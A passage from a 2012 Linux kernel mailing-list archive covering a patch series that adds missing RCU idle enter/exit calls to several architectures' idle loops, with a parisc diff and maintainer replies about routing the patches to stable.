	Geert Uytterhoeven <geert@linux-m68k.org>,
	m68k <linux-m68k@lists.linux-m68k.org>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Mikael Starvik <starvik@axis.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Cris <linux-cris-kernel@axis.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	alpha <linux-alpha@vger.kernel.org>,
	Mic
To: LKML <linux-kernel@vger.kernel.org>
Original-X-From: linux-alpha-owner@vger.kernel.org Thu Aug 23 16:58:51 2012
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1T4Yrx-0004tH-Vu
	for lnx-linux-alpha@plane.gmane.org; Thu, 23 Aug 2012 16:58:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752256Ab2HWO6r (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Thu, 23 Aug 2012 10:58:47 -0400
Original-Received: from mail-qa0-f53.google.com ([209.85.216.53]:40650 "EHLO
	mail-qa0-f53.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751457Ab2HWO6p (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Thu, 23 Aug 2012 10:58:45 -0400
Original-Received: by qaas11 with SMTP id s11so552631qaa.19
        for <multiple recipients>; Thu, 23 Aug 2012 07:58:43 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=from:to:cc:subject:date:message-id:x-mailer;
        bh=WOtodxy7w4DOm2zh7qEvxc3ZDDJeYz6ZE1GoIHMGLf8=;
        b=Y8M6Kq5HeNsTRkKBlVaVYcvV4T5bRhuTprMJ1lZ3bCjghwV72ze/DGCZP32kUvb9m7
         Chk0QmMYi/X8bylBZJDw1dnJHKH5lwI336D4ugD3940z6y+CT9uBylveLSItQdEPf1dA
         fG7me1WxdtxfxNW39U1aGm7TCVfgKhg3rIRkPnx+fg+vomZTydDh3rbp1lY95NaioSos
         Bd6bhLMC7rVfhyRhJ2Jm5y+i/BrniDhcSCHtZfXZQFZpos6OmLc65mP/A1xbMAkjyL31
         rDvxLovAfcv4TGR9X+rnEunAwsME54kbehdHWCeYPcSPGQ2R7/ix8VNylSMadfWRKryW
         q2lg==
Original-Received: by 10.229.135.195 with SMTP id o3mr811210qct.87.1345733923615;
        Thu, 23 Aug 2012 07:58:43 -0700 (PDT)
Original-Received: from somewhere.redhat.com (53.20.196.77.rev.sfr.net. [77.196.20.53])
        by mx.google.com with ESMTPS id hq10sm5411962qab.1.2012.08.23.07.58.38
        (version=SSLv3 cipher=OTHER);
        Thu, 23 Aug 2012 07:58:42 -0700 (PDT)
X-Mailer: git-send-email 1.7.5.4
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:1872 gmane.linux.kernel:1348555 gmane.linux.kernel.stable:30321 gmane.linux.ports.parisc:4545
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/1872>

Hi,

Changes since v1:

- Fixed preempt handling in alpha idle loop
- added ack from Geert
- fixed stable email address, sorry :-/

This time I built tested everywhere but: h8300 (compiler internal error),
and mn10300, parisc, score (cross compilers not available in
ftp://ftp.kernel.org/pub/tools/crosstool/files/bin/x86_64/4.6.3/)

For testing, you can pull from:

git://github.com/fweisbec/linux-dynticks.git
	rcu/idle-fix-v2 

Thanks.

Frederic Weisbecker (11):
  alpha: Fix preemption handling in idle loop
  alpha: Add missing RCU idle APIs on idle loop
  cris: Add missing RCU idle APIs on idle loop
  frv: Add missing RCU idle APIs on idle loop
  h8300: Add missing RCU idle APIs on idle loop
  m32r: Add missing RCU idle APIs on idle loop
  m68k: Add missing RCU idle APIs on idle loop
  mn10300: Add missing RCU idle APIs on idle loop
  parisc: Add missing RCU idle APIs on idle loop
  score: Add missing RCU idle APIs on idle loop
  xtensa: Add missing RCU idle APIs on idle loop

 arch/alpha/kernel/process.c   |    6 +++++-
 arch/alpha/kernel/smp.c       |    1 +
 arch/cris/kernel/process.c    |    3 +++
 arch/frv/kernel/process.c     |    3 +++
 arch/h8300/kernel/process.c   |    3 +++
 arch/m32r/kernel/process.c    |    3 +++
 arch/m68k/kernel/process.c    |    3 +++
 arch/mn10300/kernel/process.c |    3 +++
 arch/parisc/kernel/process.c  |    3 +++
 arch/score/kernel/process.c   |    4 +++-
 arch/xtensa/kernel/process.c  |    3 +++
 11 files changed, 33 insertions(+), 2 deletions(-)

-- 
1.7.5.4

--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frederic Weisbecker <fweisbec@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.stable
Subject: [PATCH 09/11] parisc: Add missing RCU idle APIs on idle loop
Date: Thu, 23 Aug 2012 16:58:33 +0200
Lines: 54
Approved: news@gmane.org
Message-ID: <1345733915-20040-10-git-send-email-fweisbec@gmail.com>
References: <1345733915-20040-1-git-send-email-fweisbec@gmail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1345734020 8939 80.91.229.3 (23 Aug 2012 15:00:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 23 Aug 2012 15:00:20 +0000 (UTC)
Cc: Frederic Weisbecker <fweisbec@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Parisc <linux-parisc@vger.kernel.org>,
	"3.2.x.." <stable@vger.kernel.org>,
	"Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
To: LKML <linux-kernel@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Aug 23 17:00:20 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1T4YtO-0006uB-DW
	for glk-linux-kernel-3@plane.gmane.org; Thu, 23 Aug 2012 17:00:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1030547Ab2HWPAI (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 23 Aug 2012 11:00:08 -0400
Original-Received: from mail-qa0-f53.google.com ([209.85.216.53]:40650 "EHLO
	mail-qa0-f53.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752626Ab2HWO7L (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 23 Aug 2012 10:59:11 -0400
Original-Received: by mail-qa0-f53.google.com with SMTP id s11so552631qaa.19
        for <multiple recipients>; Thu, 23 Aug 2012 07:59:11 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=from:to:cc:subject:date:message-id:x-mailer:in-reply-to:references;
        bh=UPqhjraVWQYyYIGEGXPpnmvLOnJB2Hsdz894UfAoYc8=;
        b=Lv0yp0PvfyozzDSQbzu71F4E5E/OpctAj3dlg2qI8b5fKXtsc3v32+uGT1Rw5VxD0j
         wX+SUBXhVaOV+tWAULeOqC7g6g9Y28qVHysuVCMIUHgaMBtDUpRkcyME5PUrU8bFrPMo
         FsLHCS+/4UDKr5LFl0+KTjSSICZP5aIp8EPw8NB7boBJ3d8UE81LE9tdjk8Rl65+KKMU
         q5PBheRsRhUIeGQ5E/IJrUmOzhLtNKPckaobdKlf/LHC0d6O96caBdL+9RFE5e6tlbjs
         f3pYuEN9M0aQoawrmh5AmSKSBd6vkUWTmLj8jCHOpQMUQm7O+5LdsfnF2NJjdClJZFnY
         ETmQ==
Original-Received: by 10.224.222.16 with SMTP id ie16mr3235958qab.73.1345733951202;
        Thu, 23 Aug 2012 07:59:11 -0700 (PDT)
Original-Received: from somewhere.redhat.com (53.20.196.77.rev.sfr.net. [77.196.20.53])
        by mx.google.com with ESMTPS id hq10sm5411962qab.1.2012.08.23.07.59.07
        (version=SSLv3 cipher=OTHER);
        Thu, 23 Aug 2012 07:59:09 -0700 (PDT)
X-Mailer: git-send-email 1.7.5.4
In-Reply-To: <1345733915-20040-1-git-send-email-fweisbec@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1348562 gmane.linux.ports.parisc:4546 gmane.linux.kernel.stable:30328
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1348562>

In the old times, the whole idle task was considered
as an RCU quiescent state. But as RCU became more and
more successful overtime, some RCU read side critical
section have been added even in the code of some
architectures idle tasks, for tracing for example.

So nowadays, rcu_idle_enter() and rcu_idle_exit() must
be called by the architecture to tell RCU about the part
in the idle loop that doesn't make use of rcu read side
critical sections, typically the part that puts the CPU
in low power mode.

This is necessary for RCU to find the quiescent states in
idle in order to complete grace periods.

Add this missing pair of calls in the parisc's idle loop.

Reported-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
Signed-off-by: Frederic Weisbecker <fweisbec@gmail.com>
Cc: James E.J. Bottomley <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Parisc <linux-parisc@vger.kernel.org>
Cc: 3.2.x.. <stable@vger.kernel.org>
Cc: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
---
 arch/parisc/kernel/process.c |    3 +++
 1 files changed, 3 insertions(+), 0 deletions(-)

diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index d4b94b3..c54a4db 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -48,6 +48,7 @@
 #include <linux/unistd.h>
 #include <linux/kallsyms.h>
 #include <linux/uaccess.h>
+#include <linux/rcupdate.h>
 
 #include <asm/io.h>
 #include <asm/asm-offsets.h>
@@ -69,8 +70,10 @@ void cpu_idle(void)
 
 	/* endless idle loop with no priority at all */
 	while (1) {
+		rcu_idle_enter();
 		while (!need_resched())
 			barrier();
+		rcu_idle_exit();
 		schedule_preempt_disabled();
 		check_pgt_cache();
 	}
-- 
1.7.5.4


From - Thu Nov 08 21:08:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.kernel.stable,gmane.linux.ports.parisc
Subject: Re: [PATCH 00/10] rcu: Add missing RCU idle APIs on idle loop
Date: Thu, 23 Aug 2012 22:23:22 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <CAMuHMdX5R_7EBGDu00zdy_P3q65BzKJbNeRwFcuwij8eHavTYQ@mail.gmail.com>
References: <1345652628-15060-1-git-send-email-fweisbec@gmail.com>
	<CAMuHMdUt62GsYsPMAPbUWZUtFL=c2VmYFintpDAQmSwQrWriuA@mail.gmail.com>
	<20120823110157.GC18835@somewhere.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1345753413 15090 80.91.229.3 (23 Aug 2012 20:23:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 23 Aug 2012 20:23:33 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>,
	"Paul E. McKenney" <paulmck@linux.vnet.ibm.com>,
	Chris Zankel <chris@zankel.net>, "3.2.x.." <stable@kernel.org>,
	Chen Liqin <liqin.chen@sunplusct.com>,
	Lennox Wu <lennox.wu@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Parisc <linux-parisc@vger.kernel.org>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	m68k <linux-m68k@lists.linux-m68k.org>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Mikael Starvik <starvik@axis.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Cris <linux-cris-kernel@axis.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	alpha <linux-alpha@vger.kernel.org>
To: Frederic Weisbecker <fweisbec@gmail.com>
Original-X-From: linux-alpha-owner@vger.kernel.org Thu Aug 23 22:23:28 2012
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1T4dw8-0002sB-D9
	for lnx-linux-alpha@plane.gmane.org; Thu, 23 Aug 2012 22:23:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753805Ab2HWUXZ (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Thu, 23 Aug 2012 16:23:25 -0400
Original-Received: from mail-vb0-f46.google.com ([209.85.212.46]:40437 "EHLO
	mail-vb0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753069Ab2HWUXX (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Thu, 23 Aug 2012 16:23:23 -0400
Original-Received: by vbbff1 with SMTP id ff1so1278418vbb.19
        for <multiple recipients>; Thu, 23 Aug 2012 13:23:23 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        bh=CgHERnNNR+ZWCfOYrOXwl7jnNqSlZ6X4tCTfnoTKn/k=;
        b=KUcy5ns/ek6wiqMITfOSt6ZqzoWXXP8A3Jxc8ELjndt/G4p0Rm1mIbNxn8+1KvkfCv
         bD04tTK3ZgAsp2fAKUdwOwzwjsMHpDIMGu7UPOllrx8D+E39akXWl19O7NcNmzXoWwH5
         pVo2OYzCWEkrEugMw6PnyqbLqqMu206v+YP3/NNi6Ak4hXU7ToIruXuiRtHuzyLmzY99
         fhbqOIFtBWjdngJ/2sA5rXWoljD9lupokZiCdyLa6/xpvtTv8MHp7CarL+B4iNtZbLIL
         uiH+I5x38gNuuWXtkc1QJschI4J15C04Q9LfCtsuuSPWe1slMzrlxTyGTV7IIr/02FoO
         n+IQ==
Original-Received: by 10.52.75.36 with SMTP id z4mr2071097vdv.52.1345753402891; Thu, 23
 Aug 2012 13:23:22 -0700 (PDT)
Original-Received: by 10.220.22.202 with HTTP; Thu, 23 Aug 2012 13:23:22 -0700 (PDT)
In-Reply-To: <20120823110157.GC18835@somewhere.redhat.com>
X-Google-Sender-Auth: NKe6i4PuuOzn9LDmPcmRErIQTEo
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:1875 gmane.linux.kernel:1348763 gmane.linux.kernel.stable:30334 gmane.linux.ports.parisc:4547
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/1875>

Hi Frederic,

On Thu, Aug 23, 2012 at 1:02 PM, Frederic Weisbecker <fweisbec@gmail.com> wrote:
> On Wed, Aug 22, 2012 at 07:18:04PM +0200, Geert Uytterhoeven wrote:
>> On Wed, Aug 22, 2012 at 6:23 PM, Frederic Weisbecker <fweisbec@gmail.com> wrote:
>> > So this fixes some potential RCU stalls in a bunch of architectures.
>> > When rcu_idle_enter()/rcu_idle_exit() became a requirement, we forgot
>> > to handle the architectures that don't support CONFIG_NO_HZ.
>> >
>> > I guess the set should be dispatched into arch maintainer trees.
>>
>> I can take the m68k version, but are you sure you want it this way?
>> Each of them must be in mainline before they can enter stable.
>
> Yeah, I was thinking the right route is for these patches to be
> carried by arch maintainer who then push to Linus and then this goes
> to stable.
>
> Is that ok for you?
>
> Otherwise I can carry the patches myself. In a tree of my own, or
> Paul's or mmotm. As long as I have your ack.

I applied your patch to the m68k for-3.6/for-linus branch.
I'll ask Linus to pull later in the rc cycle (right now I don't have
anything else
queued for 3.6).
Still, I think it's better to just collect acks and send it to Linus
in one shot,
so it can go into stable in one shot too.

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frederic Weisbecker <fweisbec@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.stable,gmane.linux.ports.alpha
Subject: Re: [PATCH 00/10] rcu: Add missing RCU idle APIs on idle loop
Date: Thu, 23 Aug 2012 23:50:55 +0200
Lines: 52
Approved: news@gmane.org
Message-ID: <20120823215052.GC19305@somewhere.redhat.com>
References: <1345652628-15060-1-git-send-email-fweisbec@gmail.com>
 <CAMuHMdUt62GsYsPMAPbUWZUtFL=c2VmYFintpDAQmSwQrWriuA@mail.gmail.com>
 <20120823110157.GC18835@somewhere.redhat.com>
 <CAMuHMdX5R_7EBGDu00zdy_P3q65BzKJbNeRwFcuwij8eHavTYQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1345758708 24612 80.91.229.3 (23 Aug 2012 21:51:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 23 Aug 2012 21:51:48 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>,
	"Paul E. McKenney" <paulmck@linux.vnet.ibm.com>,
	Chris Zankel <chris@zankel.net>, "3.2.x.." <stable@kernel.org>,
	Chen Liqin <liqin.chen@sunplusct.com>,
	Lennox Wu <lennox.wu@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Parisc <linux-parisc@vger.kernel.org>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	m68k <linux-m68k@lists.linux-m68k.org>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Mikael Starvik <starvik@axis.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Cris <linux-cris-kernel@axis.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	alpha <linux-alpha@vger.kernel.org>
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 23 23:51:44 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1T4fJS-0003us-Qm
	for glpp-linux-parisc@plane.gmane.org; Thu, 23 Aug 2012 23:51:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753681Ab2HWVvI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 23 Aug 2012 17:51:08 -0400
Original-Received: from mail-qa0-f46.google.com ([209.85.216.46]:47798 "EHLO
	mail-qa0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752754Ab2HWVvE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 23 Aug 2012 17:51:04 -0400
Original-Received: by qaas11 with SMTP id s11so121100qaa.19
        for <multiple recipients>; Thu, 23 Aug 2012 14:51:03 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=BmEjlZJ7JjiCrC0zlKWKl/UdMcfqKINU5yFzq6jeqUM=;
        b=EpzTyA0gRrFYzshrGCvQtRq4zSXubPrlMPTaZkI4DfRBje3rvQ/KlBWj4N5FvpUP1s
         520vCr+Mc4mzPO3xFdAdOXYr1bB9rDde1ffd6JyHXx/0HP6cbhboYvYQiL5iqDq+ycZy
         HYJTrGbfJxpHbbiHfYqVgFxQLOnSJwQey1rwuhda3YiV2ozFkyEqBfeEBiafWKDPxLG0
         9aW5jiled62+FnWkTyJF11hrcXHEEMFt/ph1BNdgVvsIIp2mbRqR/Gx+IVvDDYP0bvR2
         jV759SbVImeMba1K+3UAqlW9Dug4/WI0iPCYGnKCyDexo+C3rjRZeOkPb9VYZCfuTGOS
         CyHw==
Original-Received: by 10.229.136.132 with SMTP id r4mr1426730qct.95.1345758662948;
        Thu, 23 Aug 2012 14:51:02 -0700 (PDT)
Original-Received: from localhost (53.20.196.77.rev.sfr.net. [77.196.20.53])
        by mx.google.com with ESMTPS id gi10sm6066745qab.11.2012.08.23.14.50.57
        (version=TLSv1/SSLv3 cipher=OTHER);
        Thu, 23 Aug 2012 14:51:01 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <CAMuHMdX5R_7EBGDu00zdy_P3q65BzKJbNeRwFcuwij8eHavTYQ@mail.gmail.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4548 gmane.linux.kernel:1348822 gmane.linux.kernel.stable:30335 gmane.linux.ports.alpha:1876
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4548>

On Thu, Aug 23, 2012 at 10:23:22PM +0200, Geert Uytterhoeven wrote:
> Hi Frederic,
> 
> On Thu, Aug 23, 2012 at 1:02 PM, Frederic Weisbecker <fweisbec@gmail.com> wrote:
> > On Wed, Aug 22, 2012 at 07:18:04PM +0200, Geert Uytterhoeven wrote:
> >> On Wed, Aug 22, 2012 at 6:23 PM, Frederic Weisbecker <fweisbec@gmail.com> wrote:
> >> > So this fixes some potential RCU stalls in a bunch of architectures.
> >> > When rcu_idle_enter()/rcu_idle_exit() became a requirement, we forgot
> >> > to handle the architectures that don't support CONFIG_NO_HZ.
> >> >
> >> > I guess the set should be dispatched into arch maintainer trees.
> >>
> >> I can take the m68k version, but are you sure you want it this way?
> >> Each of them must be in mainline before they can enter stable.
> >
> > Yeah, I was thinking the right route is for these patches to be
> > carried by arch maintainer who then push to Linus and then this goes
> > to stable.
> >
> > Is that ok for you?
> >
> > Otherwise I can carry the patches myself. In a tree of my own, or
> > Paul's or mmotm. As long as I have your ack.
> 
> I applied your patch to the m68k for-3.6/for-linus branch.
> I'll ask Linus to pull later in the rc cycle (right now I don't have
> anything else
> queued for 3.6).
> Still, I think it's better to just collect acks and send it to Linus
> in one shot,
> so it can go into stable in one shot too.

Sure I can do that if you prefer.

Thanks.

> 
> Gr{oetje,eeting}s,
> 
>                         Geert
> 
> --
> Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org
> 
> In personal conversations with technical people, I call myself a hacker. But
> when I'm talking to journalists I just say "programmer" or something like that.
>                                 -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.stable
Subject: Re: [PATCH 08/10] parisc: Add missing RCU idle APIs on idle loop
Date: Fri, 24 Aug 2012 09:26:47 -0400
Lines: 61
Approved: news@gmane.org
Message-ID: <50378117.4010601@bell.net>
References: <1345652628-15060-1-git-send-email-fweisbec@gmail.com> <1345652628-15060-9-git-send-email-fweisbec@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1345814801 5524 80.91.229.3 (24 Aug 2012 13:26:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 24 Aug 2012 13:26:41 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Parisc <linux-parisc@vger.kernel.org>,
	"3.2.x.." <stable@kernel.org>,
	"Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
To: Frederic Weisbecker <fweisbec@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Aug 24 15:26:41 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1T4tuK-0001G1-MP
	for glk-linux-kernel-3@plane.gmane.org; Fri, 24 Aug 2012 15:26:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757771Ab2HXN0f (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 24 Aug 2012 09:26:35 -0400
Original-Received: from mail16.primus.ca ([216.254.141.183]:36636 "EHLO
	mail-02.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751931Ab2HXN0d (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 24 Aug 2012 09:26:33 -0400
Original-Received: from 216-58-40-249.cpe.distributel.net ([216.58.40.249] helo=[192.168.0.181])
	by mail-02.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1T4tuB-0004EL-2c; Fri, 24 Aug 2012 09:26:32 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:14.0) Gecko/20120713 Thunderbird/14.0
In-Reply-To: <1345652628-15060-9-git-send-email-fweisbec@gmail.com>
X-Authenticated: danglin-lux@magma.ca - 216-58-40-249.cpe.distributel.net ([192.168.0.181]) [216.58.40.249]
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1349119 gmane.linux.ports.parisc:4549 gmane.linux.kernel.stable:30343
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1349119>

On 8/22/2012 12:23 PM, Frederic Weisbecker wrote:
> In the old times, the whole idle task was considered
> as an RCU quiescent state. But as RCU became more and
> more successful overtime, some RCU read side critical
> section have been added even in the code of some
> architectures idle tasks, for tracing for example.
>
> So nowadays, rcu_idle_enter() and rcu_idle_exit() must
> be called by the architecture to tell RCU about the part
> in the idle loop that doesn't make use of rcu read side
> critical sections, typically the part that puts the CPU
> in low power mode.
>
> This is necessary for RCU to find the quiescent states in
> idle in order to complete grace periods.
>
> Add this missing pair of calls in the parisc's idle loop.
>
> Reported-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
> Signed-off-by: Frederic Weisbecker <fweisbec@gmail.com>
> Cc: James E.J. Bottomley <jejb@parisc-linux.org>
> Cc: Helge Deller <deller@gmx.de>
> Cc: Parisc <linux-parisc@vger.kernel.org>
> Cc: 3.2.x.. <stable@kernel.org>
> Cc: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
> ---
>   arch/parisc/kernel/process.c |    3 +++
>   1 files changed, 3 insertions(+), 0 deletions(-)
>
> diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
> index d4b94b3..c54a4db 100644
> --- a/arch/parisc/kernel/process.c
> +++ b/arch/parisc/kernel/process.c
> @@ -48,6 +48,7 @@
>   #include <linux/unistd.h>
>   #include <linux/kallsyms.h>
>   #include <linux/uaccess.h>
> +#include <linux/rcupdate.h>
>   
>   #include <asm/io.h>
